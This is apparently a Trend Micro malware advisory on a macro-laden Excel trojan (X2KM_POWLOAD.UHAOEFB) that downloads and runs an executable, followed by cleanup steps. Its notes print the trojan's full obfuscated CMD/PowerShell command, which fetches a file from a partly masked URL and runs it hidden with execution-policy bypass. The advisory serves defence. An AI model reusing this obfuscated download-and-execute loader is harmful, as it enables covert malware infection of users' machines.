Analysis by: Augusto II Remillano
ALIASES:

VB:Trojan.VBA.Downloader.JN (BitDefender), Trojan.Mdropper (Norton), Trojan-Downloader.VBA.Agent (Ikarus)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email, Downloaded from the Internet

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 67,072 bytes
File Type: XLS
Memory Resident: No
Initial Samples Received Date: 06 Jul 2018
Payload: Connects to URLs/IPs

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}ota.com/csshead

It saves the files it downloads using the following names:

  • %AppDataLocal%\rnohht.exe

(Note: %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

NOTES:

The Microsoft Excel file contains the following fake details luring users to enable macro content:

This Trojan executes the following command to download and execute a malicious file:

CMD /C "seT xOtw= sEt-vaRIABlE 387n ([TYpE]("{0}{3}{2}{1}" -f 'E','nT','mE','nviRoN') ); do{^&("{1}{0}" -f 'p','slee') 41;${Om`Es} = (ls VArIable:387N ).VaLuE::('G'+'etF'+'old'+'erP'+'ath')."Inv`oke"(('L'+'oc'+'alAp'+'plicati'+'onData'));(^&("{2}{0}{1}"-f'O','bject','New-') System.Net.WebClient)."doWNl`oa`dF`iLe"."Inv`OKE"(('http://{BLOCKED}d'+'ota.co'+'m/csshe'+'ad'),"$omes\\rnohht.exe")}while(!${?});^&("{0}{3}{2}{1}"-f 'S','ess','roc','tart-P') $omes\rnohht.exe&&sET CPGFt=ecHO (GeT-ItEm VaRIabLE:Ex*Xt).VAlUE.InVoKecOmManD.invoKesCRiPt( (ITeM Env:XOTw).vaLUE)^| poWERSHell -noPRo -nONInTeRA -Exe byPaSS -nOLO -WINDO Hidden ${inpUT}^^^| ^^^& ((VAriAbLe '*MDr*').Name[3,11,2]-jOIN'') &&cMD /C%CPGft%"

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.354.02
FIRST VSAPI PATTERN DATE: 02 Jul 2018
VSAPI OPR PATTERN File: 14.355.00
VSAPI OPR PATTERN Date: 03 Jul 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %AppDataLocal%\rnohht.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.UHAOEFB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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